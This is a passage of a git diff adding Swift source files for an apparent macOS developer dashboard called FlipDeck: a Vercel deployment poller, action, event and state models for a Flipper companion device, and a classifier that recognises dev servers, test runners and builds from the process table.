b/mac/Sources/FlipDeckCore/Integrations/Vercel.swift new file mode 100644 index 0000000..3ef3519 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Integrations/Vercel.swift @@ -0,0 +1,261 @@ +import Foundation + +// MARK: - Linking + +/// Reads the link that `vercel link` writes into a project. This gives an exact +/// local-project ↔ Vercel-project mapping, with no name guessing. +public enum VercelLinkReader { + struct ProjectFile: Decodable { + let projectId: String + let orgId: String + let projectName: String? + } + + struct RepoFile: Decodable { + struct Entry: Decodable { + let id: String + let name: String? + let directory: String? + } + let orgId: String + let projects: [Entry] + } + + public static func read(projectPath: String, fileManager: FileManager = .default) -> VercelLink? { + let decoder = JSONDecoder() + if let data = fileManager.contents(atPath: projectPath + "/.vercel/project.json"), + let file = try? decoder.decode(ProjectFile.self, from: data), + !file.projectId.isEmpty, !file.orgId.isEmpty { + return VercelLink(projectID: file.projectId, orgID: file.orgId, projectName: file.projectName) + } + // Monorepo link (`vercel link --repo`): only unambiguous when the repo + // root itself is the linked directory, or there is exactly one project. + if let data = fileManager.contents(atPath: projectPath + "/.vercel/repo.json"), + let file = try? decoder.decode(RepoFile.self, from: data) { + let rootEntry = file.projects.first { $0.directory == "." || $0.directory == "" } + if let entry = rootEntry ?? (file.projects.count == 1 ? file.projects[0] : nil) { + return VercelLink(projectID: entry.id, orgID: file.orgId, projectName: entry.name) + } + } + return nil + } +} + +// MARK: - API + +public enum VercelError: Error, Equatable, CustomStringConvertible { + case unauthorized + case rateLimited(retryAfter: TimeInterval?) + case http(Int) + case decoding(String) + case transport(String) + + public var description: String { + switch self { + case .unauthorized: return "Vercel rejected the token" + case .rateLimited: return "Vercel rate limit reached" + case .http(let status): return "Vercel returned HTTP \(status)" + case .decoding(let detail): return "Unexpected Vercel response (\(detail))" + case .transport(let detail): return "Network error: \(detail)" + } + } +} + +struct VercelDeploymentDTO: Decodable { + let uid: String + let url: String? + let state: String? + let readyState: String? + let target: String? + let inspectorUrl: String? + let created: Double? + let createdAt: Double? + let meta: [String: String]? + let errorMessage: String? + + enum CodingKeys: String, CodingKey { + case uid, url, state, readyState, target, inspectorUrl, created, createdAt, meta, errorMessage + } + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + uid = try container.decode(String.self, forKey: .uid) + url = try? container.decodeIfPresent(String.self, forKey: .url) + state = try? container.decodeIfPresent(String.self, forKey: .state) + readyState = try? container.decodeIfPresent(String.self, forKey: .readyState) + target = try? container.decodeIfPresent(String.self, forKey: .target) + inspectorUrl = try? container.decodeIfPresent(String.self, forKey: .inspectorUrl) + created = try? container.decodeIfPresent(Double.self, forKey: .created) + createdAt = try? container.decodeIfPresent(Double.self, forKey: .createdAt) + // meta is documented as string→string, but be lenient: drop non-strings. + if let raw = try? container.decodeIfPresent([String: LenientString].self, forKey: .meta) { + meta = raw.compactMapValues(\.value) + } else { + meta = nil + } + errorMessage = try? container.decodeIfPresent(String.self, forKey: .errorMessage) + } +} + +struct LenientString: Decodable { + let value: String? + init(from decoder: Decoder) throws { + value = try? decoder.singleValueContainer().decode(String.self) + } +} + +struct VercelDeploymentsResponse: Decodable { + let deployments: [VercelDeploymentDTO] +} + +public struct VercelClient: Sendable { + let token: String + let http: HTTPClient + let baseURL: URL + + public init(token: String, http: HTTPClient, baseURL: URL = URL(string: "https://api.vercel.com")!) { + self.token = token + self.http = http + self.baseURL = baseURL + } + + public func deployments(for link: VercelLink, localProjectID: String, limit: Int = 5) async throws -> [Deployment] { + var components = URLComponents(url: baseURL.appendingPathComponent("v6/deployments"), resolvingAgainstBaseURL: false)! + var query = [URLQueryItem(name: "projectId", value: link.projectID), URLQueryItem(name: "limit", value: String(limit))] + // Personal accounts have a user id as orgId; only team ids go in teamId. + if link.orgID.hasPrefix("team_") { query.append(URLQueryItem(name: "teamId", value: link.orgID)) } + components.queryItems = query + + let response: HTTPResponse + do { + response = try await http.get(components.url!, headers: ["Authorization": "Bearer \(token)", "Accept": "application/json"]) + } catch { + throw VercelError.transport(Redact.removing(token, from: error.localizedDescription)) + } + + switch response.status { + case 200: break + case 401, 403: throw VercelError.unauthorized + case 429: + let reset = response.header("x-ratelimit-reset").flatMap(TimeInterval.init) + throw VercelError.rateLimited(retryAfter: reset.map { max(0, $0 - Date().timeIntervalSince1970) }) + default: throw VercelError.http(response.status) + } + + let decoded: VercelDeploymentsResponse + do { + decoded = try JSONDecoder().decode(VercelDeploymentsResponse.self, from: response.body) + } catch { + throw VercelError.decoding(String(describing: error).prefix(120).description) + } + return decoded.deployments.compactMap { Self.map($0, localProjectID: localProjectID) } + } + + static func map(_ dto: VercelDeploymentDTO, localProjectID: String) -> Deployment? { + guard let rawState = (dto.state ?? dto.readyState)?.uppercased() else { return nil } + let state: DeploymentState + var errorMessage = dto.errorMessage + switch rawState { + case "QUEUED", "INITIALIZING": state = .queued + case "BUILDING": state = .building + case "READY": state = .ready + case "ERROR": state = .error + case "CANCELED": state = .canceled + case "BLOCKED": + state = .error + errorMessage = errorMessage ?? "Deployment blocked" + default: return nil + } + let millis = dto.created ?? dto.createdAt ?? 0 + return Deployment( + id: dto.uid, + provider: "vercel", + projectID: localProjectID, + state: state, + target: dto.target, + url: dto.url.map { $0.hasPrefix("http") ? $0 : "https://\($0)" }, + inspectorURL: dto.inspectorUrl.flatMap(Self.safeVercelURL), + createdAt: Date(timeIntervalSince1970: millis / 1000), + branch: dto.meta?["githubCommitRef"] ?? dto.meta?["gitlabCommitRef"] ?? dto.meta?["bitbucketCommitRef"], + commitMessage: dto.meta?["githubCommitMessage"] ?? dto.meta?["gitlabCommitMessage"] ?? dto.meta?["bitbucketCommitMessage"], + errorMessage: errorMessage + ) + } + + /// Only https URLs on vercel.com are opened from API data. + static func safeVercelURL(_ string: String) -> String? { + let candidate = string.hasPrefix("http") ? string : "https://\(string)" + guard let url = URL(string: candidate), url.scheme == "https", let host = url.host, + host == "vercel.com" || host.hasSuffix(".vercel.com") else { return nil } + return candidate + } +} + +// MARK: - Integration + +public protocol Integration: Sendable { + var id: String { get } + var displayName: String { get } +} + +public struct IntegrationRefresh: Sendable { + public let status: IntegrationStatus + /// Only projects that were successfully fetched this round are present; + /// others keep their previous data. + public let deployments: [String: [Deployment]] +} + +/// Polls Vercel for linked projects with per-project exponential backoff. +public actor VercelIntegration: Integration { + public nonisolated let id = "vercel" + public nonisolated let displayName = "Vercel" + + let http: HTTPClient + let log: Logger + private var backoff: [String: (failures: Int, nextAttempt: Date)] = [:] + private var lastSync: Date? + private var unauthorizedToken: String? + + public init(http: HTTPClient, log: Logger) { + self.http = http + self.log = log + } + + public func refresh(projects: [Project], token: String?, now: Date = Date()) async -> IntegrationRefresh { + let linked = projects.filter { $0.vercel != nil } + guard let token, !token.isEmpty else { + return IntegrationRefresh(status: IntegrationStatus(id: id, displayName: displayName, health: .notConfigured, linkedProjects: linked.count), deployments: [:]) + } + if unauthorizedToken == token { + return IntegrationRefresh(status: IntegrationStatus(id: id, displayName: displayName, health: .unauthorized, lastSync: lastSync, linkedProjects: linked.count), deployments: [:]) + } + + let client = VercelClient(token: token, http: http) + var results: [String: [Deployment]] = [:] + var lastError: String? + + for project in linked { + guard let link = project.vercel else { continue } + if let entry = backoff[project.id], entry.nextAttempt > now { continue } + do { + results[project.id] = try await client.deployments(for: link, localProjectID: project.id) + backoff[project.id] = nil + } catch VercelError.unauthorized { + log.warning("Vercel token rejected; pausing until it changes") + unauthorizedToken = token + return IntegrationRefresh(status: IntegrationStatus(id: id, displayName: displayName, health: .unauthorized, lastSync: lastSync, linkedProjects: linked.count), deployments: results) + } catch { + let failures = (backoff[project.id]?.failures ?? 0) + 1 + var delay = min(30 * pow(2, Double(failures - 1)), 600) + if case VercelError.rateLimited(let retryAfter?) = error { delay = max(delay, retryAfter) } + backoff[project.id] = (failures, now.addingTimeInterval(delay)) + lastError = "\(project.name): \(error)" + log.warning("Vercel refresh failed for \(project.name): \(error)") + } + } + + if !results.isEmpty || linked.isEmpty { lastSync = now } + let health: IntegrationHealth = lastError.map { .error($0) } ?? .ok + return IntegrationRefresh(status: IntegrationStatus(id: id, displayName: displayName, health: health, lastSync: lastSync, linkedProjects: linked.count), deployments: results) + } +} diff --git a/mac/Sources/FlipDeckCore/Models/Action.swift b/mac/Sources/FlipDeckCore/Models/Action.swift new file mode 100644 index 0000000..5f8a038 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Models/Action.swift @@ -0,0 +1,103 @@ +import Foundation + +/// The complete list of things FlipDeck can do. There is intentionally no +/// "run command" kind: every action maps to one vetted, parameter-checked +/// operation, and the Flipper can only reference actions the Mac generated. +public enum ActionKind: String, Codable, Sendable, CaseIterable { + case openOnMac = "OPEN_ON_MAC" + case openInFinder = "OPEN_IN_FINDER" + case openTerminal = "OPEN_TERMINAL" + case openLocalhost = "OPEN_LOCALHOST" + case copyURL = "COPY_URL" + case stopServer = "STOP_SERVER" + case openLogs = "OPEN_LOGS" + case openDeployment = "OPEN_DEPLOYMENT" + + public var label: String { + switch self { + case .openOnMac: return "Open on Mac" + case .openInFinder: return "Reveal in Finder" + case .openTerminal: return "Open Terminal" + case .openLocalhost: return "Open localhost" + case .copyURL: return "Copy URL" + case .stopServer: return "Stop server" + case .openLogs: return "Open logs" + case .openDeployment: return "Open deployment" + } + } + + public var destructive: Bool { self == .stopServer } + public var requiresConfirmation: Bool { destructive } + + /// Whether the Flipper may request this. Clipboard/Finder actions only + /// make sense for someone sitting at the Mac. + public var availableRemotely: Bool { + switch self { + case .copyURL, .openInFinder: return false + default: return true + } + } + + /// FDP/1 `ACT.kind` code; nil for Mac-only kinds. + public var wireCode: String? { + switch self { + case .openOnMac: return "OPEN" + case .openTerminal: return "TERM" + case .openLocalhost: return "LOCAL" + case .stopServer: return "STOP" + case .openLogs: return "LOGS" + case .openDeployment: return "DEPLOY" + case .copyURL, .openInFinder: return nil + } + } +} + +public enum ActionTarget: Codable, Hashable, Sendable { + /// A discovered project directory. + case project(path: String) + /// A running process, pinned by start time so a recycled PID can never + /// be mistaken for the process the action was generated for. + case process(pid: Int32, startedAt: Date?, port: Int?) + /// An https URL the Mac already knows about (deployment, logs). + case url(String) + + var key: String { + switch self { + case .project(let path): return "project:\(path)" + case .process(let pid, let startedAt, let port): + return "process:\(pid):\(startedAt.map { String(Int($0.timeIntervalSince1970)) } ?? "-"):\(port ?? 0)" + case .url(let url): return "url:\(url)" + } + } +} + +public struct FDAction: Codable, Hashable, Identifiable, Sendable { + public let kind: ActionKind + public let target: ActionTarget + public let source: EventSource + + public init(kind: ActionKind, target: ActionTarget, source: EventSource) { + self.kind = kind + self.target = target + self.source = source + } + + /// Deterministic: the same action on the same target always has the same id. + public var id: String { "\(kind.rawValue)|\(target.key)" } + public var label: String { kind.label } + public var destructive: Bool { kind.destructive } + public var requiresConfirmation: Bool { kind.requiresConfirmation } +} + +public struct ActionResult: Codable, Hashable, Sendable { + public let ok: Bool + public let message: String + + public init(ok: Bool, message: String) { + self.ok = ok + self.message = message + } + + public static func success(_ message: String) -> ActionResult { ActionResult(ok: true, message: message) } + public static func failure(_ message: String) -> ActionResult { ActionResult(ok: false, message: message) } +} diff --git a/mac/Sources/FlipDeckCore/Models/Event.swift b/mac/Sources/FlipDeckCore/Models/Event.swift new file mode 100644 index 0000000..d788eda --- /dev/null +++ b/mac/Sources/FlipDeckCore/Models/Event.swift @@ -0,0 +1,113 @@ +import Foundation + +public enum Severity: String, Codable, Sendable, CaseIterable, Comparable { + case info + case success + case warning + case error + /// Reserved for things that genuinely need the user to intervene. + case actionRequired = "action_required" + + private var rank: Int { + switch self { + case .info: return 0 + case .success: return 1 + case .warning: return 2 + case .error: return 3 + case .actionRequired: return 4 + } + } + + public static func < (lhs: Severity, rhs: Severity) -> Bool { lhs.rank < rhs.rank } + + /// Single-letter code used on the wire (FDP/1 `sev`). + public var wireCode: String { + switch self { + case .info: return "i" + case .success: return "s" + case .warning: return "w" + case .error: return "e" + case .actionRequired: return "a" + } + } +} + +public enum EventSource: String, Codable, Sendable { + case git + case process + case agent + case vercel + case flipper + case system +} + +/// Open set of event types; the known ones are listed as statics so +/// providers and rules can't drift apart on spelling. +public struct EventType: RawRepresentable, Codable, Hashable, Sendable, ExpressibleByStringLiteral { + public let rawValue: String + public init(rawValue: String) { self.rawValue = rawValue } + public init(stringLiteral value: String) { self.rawValue = value } + + public static let deploymentStarted: EventType = "deployment.started" + public static let deploymentSucceeded: EventType = "deployment.succeeded" + public static let deploymentFailed: EventType = "deployment.failed" + public static let deploymentCanceled: EventType = "deployment.canceled" + public static let testsStarted: EventType = "tests.started" + public static let testsPassed: EventType = "tests.passed" + public static let testsFailed: EventType = "tests.failed" + public static let serverStarted: EventType = "server.started" + public static let serverStopped: EventType = "server.stopped" + public static let agentStarted: EventType = "agent.started" + public static let agentCompleted: EventType = "agent.completed" + public static let agentFailed: EventType = "agent.failed" + /// The agent process ended; FlipDeck did not spawn it, so its exit status + /// is unknowable and this is deliberately *not* "completed" or "failed". + public static let agentExited: EventType = "agent.exited" + public static let gitChanged: EventType = "git.changed" + public static let integrationError: EventType = "integration.error" + public static let actionPerformed: EventType = "action.performed" + public static let actionFailed: EventType = "action.failed" +} + +public struct FDEvent: Codable, Hashable, Identifiable, Sendable { + public let id: String + public let timestamp: Date + public let source: EventSource + public let projectID: String? + public let projectName: String? + public let type: EventType + public let severity: Severity + public let title: String + public let message: String + public let actions: [FDAction] + public let metadata: [String: String] + public var acknowledged: Bool + + public init( + id: String = UUID().uuidString, + timestamp: Date, + source: EventSource, + projectID: String? = nil, + projectName: String? = nil, + type: EventType, + severity: Severity, + title: String, + message: String = "", + actions: [FDAction] = [], + metadata: [String: String] = [:], + acknowledged: Bool = false + ) { + self.id = id + self.timestamp = timestamp + self.source = source + self.projectID = projectID + self.projectName = projectName + self.type = type + self.severity = severity + self.title = title + self.message = message + self.actions = actions + self.metadata = metadata + self.acknowledged = acknowledged + } +} diff --git a/mac/Sources/FlipDeckCore/Models/State.swift b/mac/Sources/FlipDeckCore/Models/State.swift new file mode 100644 index 0000000..2ae6a28 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Models/State.swift @@ -0,0 +1,401 @@ +import Foundation + +// MARK: - Projects + +public struct CommitInfo: Codable, Hashable, Sendable { + public let oid: String + public let subject: String + public let date: Date + + public init(oid: String, subject: String, date: Date) { + self.oid = oid + self.subject = subject + self.date = date + } +} + +public struct GitStatus: Codable, Hashable, Sendable { + /// nil when HEAD is detached. + public var branch: String? + public var headOID: String? + public var upstream: String? + /// nil when there is no upstream to compare against. + public var ahead: Int? + public var behind: Int? + public var changedCount: Int + public var untrackedCount: Int + public var conflictedCount: Int + public var lastCommit: CommitInfo? + public var remoteURL: String? + + public init( + branch: String? = nil, headOID: String? = nil, upstream: String? = nil, + ahead: Int? = nil, behind: Int? = nil, + changedCount: Int = 0, untrackedCount: Int = 0, conflictedCount: Int = 0, + lastCommit: CommitInfo? = nil, remoteURL: String? = nil + ) { + self.branch = branch + self.headOID = headOID + self.upstream = upstream + self.ahead = ahead + self.behind = behind + self.changedCount = changedCount + self.untrackedCount = untrackedCount + self.conflictedCount = conflictedCount + self.lastCommit = lastCommit + self.remoteURL = remoteURL + } + + public var isDirty: Bool { changedCount + untrackedCount + conflictedCount > 0 } +} + +public struct ProjectRuntime: Codable, Hashable, Sendable { + public var framework: String? + public var runtime: String? + public var packageManager: String? + + public init(framework: String? = nil, runtime: String? = nil, packageManager: String? = nil) { + self.framework = framework + self.runtime = runtime + self.packageManager = packageManager + } +} + +public struct VercelLink: Codable, Hashable, Sendable { + public let projectID: String + public let orgID: String + public let projectName: String? + + public init(projectID: String, orgID: String, projectName: String? = nil) { + self.projectID = projectID + self.orgID = orgID + self.projectName = projectName + } +} + +public struct Project: Codable, Hashable, Identifiable, Sendable { + /// Absolute, standardized path. Stable across launches. + public let id: String + public var name: String + public var isGitRepository: Bool + public var git: GitStatus? + /// Set when `git` couldn't be read (timeout, corrupt repo, ...). + public var gitError: String? + public var runtime: ProjectRuntime + public var vercel: VercelLink? + + public init( + path: String, name: String, isGitRepository: Bool, + git: GitStatus? = nil, gitError: String? = nil, + runtime: ProjectRuntime = ProjectRuntime(), vercel: VercelLink? = nil + ) { + self.id = path + self.name = name + self.isGitRepository = isGitRepository + self.git = git + self.gitError = gitError + self.runtime = runtime + self.vercel = vercel + } + + public var path: String { id } +} + +// MARK: - Processes + +public enum DevProcessKind: String, Codable, Sendable { + case devServer + case testRunner + case build + case packageManager + case container + case agent +} + +/// A developer-relevant process (not every process on the machine). +public struct DevProcess: Codable, Hashable, Identifiable, Sendable { + public let pid: Int32 + public let kind: DevProcessKind + /// Short human label, e.g. "vitest", "next build". + public let label: String + public let command: String + public let startedAt: Date? + public var cwd: String? + public var projectID: String? + + public var id: Int32 { pid } + + public init(pid: Int32, kind: DevProcessKind, label: String, command: String, startedAt: Date?, cwd: String? = nil, projectID: String? = nil) { + self.pid = pid + self.kind = kind + self.label = label + self.command = command + self.startedAt = startedAt + self.cwd = cwd + self.projectID = projectID + } +} + +public struct DevServer: Codable, Hashable, Identifiable, Sendable { + public let pid: Int32 + /// Sorted ascending; `ports[0]` is the primary port. + public let ports: [Int] + public let processName: String + public let command: String + public let framework: String? + public let startedAt: Date? + public var cwd: String? + public var projectID: String? + + public init(pid: Int32, ports: [Int], processName: String, command: String, framework: String?, startedAt: Date?, cwd: String? = nil, projectID: String? = nil) { + self.pid = pid + self.ports = ports.sorted() + self.processName = processName + self.command = command + self.framework = framework + self.startedAt = startedAt + self.cwd = cwd + self.projectID = projectID + } + + public var id: String { "\(pid)" } + public var primaryPort: Int { ports.first ?? 0 } + public var url: String { "http://localhost:\(primaryPort)" } + public var displayName: String { framework ?? processName } +} + +// MARK: - Agents + +public enum AgentState: String, Codable, Sendable { + case running + case waiting + case completed + case failed + /// Process gone, outcome unknown. + case exited + + public var wireCode: String { + switch self { + case .running: return "r" + case .waiting: return "w" + case .completed: return "c" + case .failed: return "f" + case .exited: return "x" + } + } +} + +public struct AgentSession: Codable, Hashable, Identifiable, Sendable { + public let providerID: String + public let providerName: String + public let pid: Int32 + public let startedAt: Date? + public var cwd: String? + public var projectID: String? + public var state: AgentState + public let command: String + + public init(providerID: String, providerName: String, pid: Int32, startedAt: Date?, cwd: String? = nil, projectID: String? = nil, state: AgentState = .running, command: String) { + self.providerID = providerID + self.providerName = providerName + self.pid = pid + self.startedAt = startedAt + self.cwd = cwd + self.projectID = projectID + self.state = state + self.command = command + } + + public var id: String { "\(providerID):\(pid)" } +} + +// MARK: - Deployments + +public enum DeploymentState: String, Codable, Sendable { + case queued + case building + case ready + case error + case canceled + + public var wireCode: String { + switch self { + case .queued: return "q" + case .building: return "b" + case .ready: return "r" + case .error: return "e" + case .canceled: return "x" + } + } + + public var isInProgress: Bool { self == .queued || self == .building } +} + +public struct Deployment: Codable, Hashable, Identifiable, Sendable { + public let id: String + public let provider: String + public let projectID: String + public var state: DeploymentState + /// "production", "preview", ... + public let target: String? + public let url: String? + public let inspectorURL: String? + public let createdAt: Date + public let branch: String? + public let commitMessage: String? + public var errorMessage: String? + + public init(id: String, provider: String, projectID: String, state: DeploymentState, target: String?, url: String?, inspectorURL: String?, createdAt: Date, branch: String?, commitMessage: String?, errorMessage: String? = nil) { + self.id = id + self.provider = provider + self.projectID = projectID + self.state = state + self.target = target + self.url = url + self.inspectorURL = inspectorURL + self.createdAt = createdAt + self.branch = branch + self.commitMessage = commitMessage + self.errorMessage = errorMessage + } + + public var isProduction: Bool { target == "production" } + public var targetLabel: String { (target ?? "preview").capitalized } +} + +// MARK: - Machine + +public struct BatteryStatus: Codable, Hashable, Sendable { + public let percent: Int + public let charging: Bool + public let onAC: Bool + + public init(percent: Int, charging: Bool, onAC: Bool) { + self.percent = percent + self.charging = charging + self.onAC = onAC + } +} + +public struct MachineStatus: Codable, Hashable, Sendable { + public var hostName: String + public var osVersion: String + /// 0...1, nil until two samples exist. + public var cpuUsage: Double? + public var memoryUsedBytes: UInt64? + public var memoryTotalBytes: UInt64? + /// nil on desktops without a battery. + public var battery: BatteryStatus? + public var networkReachable: Bool? + public var networkInterface: String? + public var bootTime: Date? + + public init(hostName: String, osVersion: String, cpuUsage: Double? = nil, memoryUsedBytes: UInt64? = nil, memoryTotalBytes: UInt64? = nil, battery: BatteryStatus? = nil, networkReachable: Bool? = nil, networkInterface: String? = nil, bootTime: Date? = nil) { + self.hostName = hostName + self.osVersion = osVersion + self.cpuUsage = cpuUsage + self.memoryUsedBytes = memoryUsedBytes + self.memoryTotalBytes = memoryTotalBytes + self.battery = battery + self.networkReachable = networkReachable + self.networkInterface = networkInterface + self.bootTime = bootTime + } + + public var memoryUsage: Double? { + guard let used = memoryUsedBytes, let total = memoryTotalBytes, total > 0 else { return nil } + return Double(used) / Double(total) + } +} + +// MARK: - Integrations + +public enum IntegrationHealth: Codable, Hashable, Sendable { + case notConfigured + case ok + case unauthorized + case error(String) +} + +public struct IntegrationStatus: Codable, Hashable, Sendable, Identifiable { + public let id: String + public let displayName: String + public var health: IntegrationHealth + public var lastSync: Date? + public var linkedProjects: Int + + public init(id: String, displayName: String, health: IntegrationHealth, lastSync: Date? = nil, linkedProjects: Int = 0) { + self.id = id + self.displayName = displayName + self.health = health + self.lastSync = lastSync + self.linkedProjects = linkedProjects + } +} + +// MARK: - Attention + +public struct AttentionItem: Codable, Hashable, Identifiable, Sendable { + public let id: String + public let severity: Severity + public let projectID: String? + public let projectName: String? + public let title: String + public let eventID: String? + public let actions: [FDAction] + + public init(id: String, severity: Severity, projectID: String?, projectName: String?, title: String, eventID: String?, actions: [FDAction]) { + self.id = id + self.severity = severity + self.projectID = projectID + self.projectName = projectName + self.title = title + self.eventID = eventID + self.actions = actions + } +} + +// MARK: - Engine state + +/// Which providers have produced at least one observation. Events are only +/// derived from a section once it has a baseline, so launching FlipDeck +/// doesn't report every already-running server as "started". +public struct ObservedSections: Codable, Hashable, Sendable { + public var processes = false + public var deploymentsByProject: Set = [] + + public init() {} +} + +public struct EngineState: Codable, Hashable, Sendable { + public var machine: MachineStatus? + public var projects: [Project] = [] + public var servers: [DevServer] = [] + public var agents: [AgentSession] = [] + public var processes: [DevProcess] = [] + /// Recent deployments per project id, newest first. + public var deployments: [String: [Deployment]] = [:] + public var integrations: [IntegrationStatus] = [] + public var observed = ObservedSections() + public var lastProcessScan: Date? + public var lastProjectScan: Date? + + public init() {} + + public func project(id: String?) -> Project? { + guard let id else { return nil } + return projects.first { $0.id == id } + } + + public func latestDeployment(for projectID: String) -> Deployment? { + deployments[projectID]?.first + } + + public func servers(for projectID: String) -> [DevServer] { + servers.filter { $0.projectID == projectID } + } + + public func agents(for projectID: String) -> [AgentSession] { + agents.filter { $0.projectID == projectID } + } +} diff --git a/mac/Sources/FlipDeckCore/Monitoring/Classification.swift b/mac/Sources/FlipDeckCore/Monitoring/Classification.swift new file mode 100644 index 0000000..91001b6 --- /dev/null +++ b/mac/Sources/FlipDeckCore/Monitoring/Classification.swift @@ -0,0 +1,197 @@ +import Foundation + +/// Maps a working directory or argument vector to a discovered project. +public struct ProjectAssociator: Sendable { + /// Longest paths first so nested projects win over their parents. + let projectPaths: [String] + + public init(projects: [Project]) { + projectPaths = projects.map(\.path).sorted { $0.count > $1.count } + } + + public func projectID(cwd: String?, args: String) -> String? { + if let cwd, let match = projectPaths.first(where: { Self.isInside(cwd, $0) }) { + return match + } + // Fallback: a script path inside a project (`node ~/dev/app/node_modules/.bin/vite`). + for path in projectPaths { + if let range = args.range(of: path) { + let after = args[range.upperBound...] + if after.isEmpty || after.first == "/" || after.first == " " { return path } + } + } + return nil + } + + public func contains(_ path: String) -> Bool { + projectPaths.contains { Self.isInside(path, $0) } + } + + static func isInside(_ path: String, _ root: String) -> Bool { + path == root || path.hasPrefix(root.hasSuffix("/") ? root : root + "/") + } +} + +/// Recognizes developer-relevant processes. Deliberately conservative: an +/// unrecognized process is ignored rather than guessed at. +public enum ProcessClassifier { + static let interpreters: Set = ["node", "bun", "deno", "python", "python3", "ruby", "php", "java", "npx", "pnpx", "bunx"] + static let packageManagers: Set = ["npm", "pnpm", "yarn", "bun"] + + /// Runtimes whose listening sockets are dev servers by default. + static let serverRuntimes: Set = [ + "node", "bun", "deno", "python", "python3", "ruby", "php", "java", "dotnet", "beam.smp", + "hugo", "jekyll", "puma", "rails", "gunicorn", "uvicorn", "flask", "vite", "next-server", + "esbuild", "workerd", "wrangler", "caddy", "com.docker.backend", "vpnkit-bridge", + ] + + public struct Match: Equatable { + public let kind: DevProcessKind + public let label: String + } + + /// Lowercased tokens with interpreter paths reduced to basenames. + static func normalizedTokens(_ record: ProcessRecord) -> [String] { + record.tokens.map { token -> String in + let lower = token.lowercased() + if lower.contains("/") { return String(lower.split(separator: "/").last ?? Substring(lower)) } + return lower + } + } + + public static func classify(_ record: ProcessRecord) -> Match? { + let tokens = normalizedTokens(record) + guard let exe = tokens.first else { return nil } + let joined = " " + tokens.joined(separator: " ") + " " + + func has(_ phrase: String) -> Bool { joined.contains(" \(phrase) ") } + + // Package-manager script invocations: `npm test`, `pnpm run build`, `yarn dev`. + if packageManagers.contains(exe), tokens.count >= 2 { + let sub = tokens[1] == "run" && tokens.count >= 3 ? tokens[2] : tokens[1] + switch sub { + case "test", "test:unit", "test:e2e", "e2e": return Match(kind: .testRunner, label: "\(exe) \(sub)") + case "build": return Match(kind: .build, label: "\(exe) build") + case "install", "i", "ci", "add": return Match(kind: .packageManager, label: "\(exe) \(sub)") + default: break + } + } + + let testRunners: [(String, String)] = [ + ("vitest", "vitest"), ("jest", "jest"), ("mocha", "mocha"), ("pytest", "pytest"), + ("playwright test", "playwright"), ("cypress run", "cypress"), ("rspec", "rspec"), ("phpunit", "phpunit"), + ] + for (phrase, label) in testRunners where has(phrase) || tokens.contains(phrase) { + return Match(kind: .testRunner, label: label) + } + if exe == "go" && has("go test") { return Match(kind: .testRunner, label: "go test") } + if exe == "cargo" && has("cargo test") { return Match(kind: .testRunner, label: "cargo test") } + if exe == "swift" && has("swift test") { return Match(kind: .testRunner, label: "swift test") } + if exe == "bun" && has("bun test") { return Match(kind: .testRunner, label: "bun test") } + if exe == "deno" && has("deno test") { return Match(kind: .testRunner, label: "deno test") } + if exe == "xcodebuild" { return Match(kind: tokens.contains("test") ? .testRunner : .build, label: "xcodebuild") } + + if has("next build") { return Match(kind: .build, label: "next build") } + if has("vite build") { return Match(kind: .build, label: "vite build") } + if exe == "cargo" && has("cargo build") { return Match(kind: .build, label: "cargo build") } + if exe == "swift" && has("swift build") { return Match(kind: .build, label: "swift build") } + if exe == "go" && has("go build") { return Match(kind: .build, label: "go build") } + if tokens.contains("tsc") && (tokens.contains("--watch") || tokens.contains("-w")) { return Match(kind: .build, label: "tsc --watch") } + if exe == "gradle" || exe == "gradlew" { return Match(kind: .build, label: "gradle") } + + if (exe == "docker" && (has("docker compose up") || has("docker run"))) || exe == "docker-compose" { + return Match(kind: .container, label: "docker") + } + + return nil + } + + public static func isServerRuntime(_ record: ProcessRecord) -> Bool { + let exe = record.executableName.lowercased() + if exe.hasPrefix("python") { return true } + if exe.hasPrefix("next-server") { return true } + return serverRuntimes.contains(exe) + } + + /// A readable name for what's serving on a port. + public static func serverFramework(_ record: ProcessRecord) -> String? { + let tokens = normalizedTokens(record) + let joined = " " + tokens.joined(separator: " ") + " " + func has(_ phrase: String) -> Bool { joined.contains(" \(phrase) ") || joined.contains(" \(phrase)") } + + let exe = record.executableName.lowercased() + if exe.hasPrefix("next-server") || has("next dev") || has("next start") || has("next-server") { return "Next.js" } + let known: [(String, String)] = [ + ("vite", "Vite"), ("astro", "Astro"), ("nuxi", "Nuxt"), ("nuxt", "Nuxt"), ("remix", "Remix"), + ("react-router", "React Router"), ("react-scripts", "Create React App"), ("webpack-dev-server", "webpack"), + ("webpack serve", "webpack"), ("storybook", "Storybook"), ("expo", "Expo"), ("wrangler", "Wrangler"), + ("workerd", "Wrangler"), ("docusaurus", "Docusaurus"), ("ng serve", "Angular"), ("nodemon", "nodemon"), + ("tsx watch", "tsx"), ("manage.py runserver", "Django"), ("flask", "Flask"), ("uvicorn", "Uvicorn"), + ("gunicorn", "Gunicorn"), ("fastapi", "FastAPI"), ("rails server", "Rails"), ("puma", "Rails"), + ("artisan serve", "Laravel"), ("hugo", "Hugo"), ("jekyll", "Jekyll"), ("http.server", "http.server"), + ] + for (phrase, name) in known where has(phrase) { return name } + if exe.hasPrefix("com.docker") || exe.hasPrefix("vpnkit") { return "Docker" } + switch exe { + case "node": return "Node" + case "bun": return "Bun" + case "deno": return "Deno" + case "ruby": return "Ruby" + case "php": return "PHP" + case "java": return "Java" + default: return exe.hasPrefix("python") ? "Python" : nil + } + } + + /// Drops ancestors that are just wrappers of a matched descendant of the + /// same kind (`npm test` → `node vitest`): keeps the most specific one. + public static func collapseWrappers(_ matches: [(ProcessRecord, Match)]) -> [(ProcessRecord, Match)] { + let byPID = Dictionary(uniqueKeysWithValues: matches.map { ($0.0.pid, $0) }) + var dropped: Set = [] + for (record, match) in matches { + var parent = record.ppid + var hops = 0 + while let ancestor = byPID[parent], hops < 8 { + if ancestor.1.kind == match.kind { dropped.insert(ancestor.0.pid) } + parent = ancestor.0.ppid + hops += 1 + } + } + return matches.filter { !dropped.contains($0.0.pid) } + } +} + +/// Turns a process table + listening sockets into dev servers. +public enum DevServerDetector { + public static func detect( + records: [ProcessRecord], + listeners: [Listener], + cwds: [Int32: String], + currentUID: UInt32, + associator: ProjectAssociator + ) -> [DevServer] { + let byPID = Dictionary(records.map { ($0.pid, $0) }, uniquingKeysWith: { a, _ in a }) + let grouped = Dictionary(grouping: listeners.filter { $0.port 